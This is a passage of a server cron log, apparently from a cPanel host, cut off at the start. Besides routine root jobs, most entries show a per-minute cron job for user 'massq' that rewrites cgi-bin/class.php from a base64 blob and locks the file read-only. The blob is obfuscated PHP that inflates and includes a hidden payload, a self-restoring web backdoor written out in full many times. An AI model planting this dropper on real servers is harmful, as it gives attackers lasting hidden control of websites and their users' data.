&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:20:01 server CROND[9662]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 07:20:01 server CROND[9664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:20:01 server CROND[9666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:20:01 server CROND[9665]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 07:20:01 server CROND[9663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:21:01 server CROND[10572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:22:01 server CROND[11451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:23:01 server CROND[12259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:24:02 server CROND[13090]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:25:01 server CROND[13893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:25:01 server CROND[13894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:25:01 server CROND[13895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:26:01 server CROND[14874]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:27:01 server CROND[15682]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 07:27:01 server CROND[15683]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:28:01 server CROND[16408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:29:01 server CROND[17178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:30:01 server CROND[18028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 07:30:01 server CROND[18029]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 07:30:01 server CROND[18027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 07:30:01 server CROND[18030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 07:31:01 server CROND[18923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
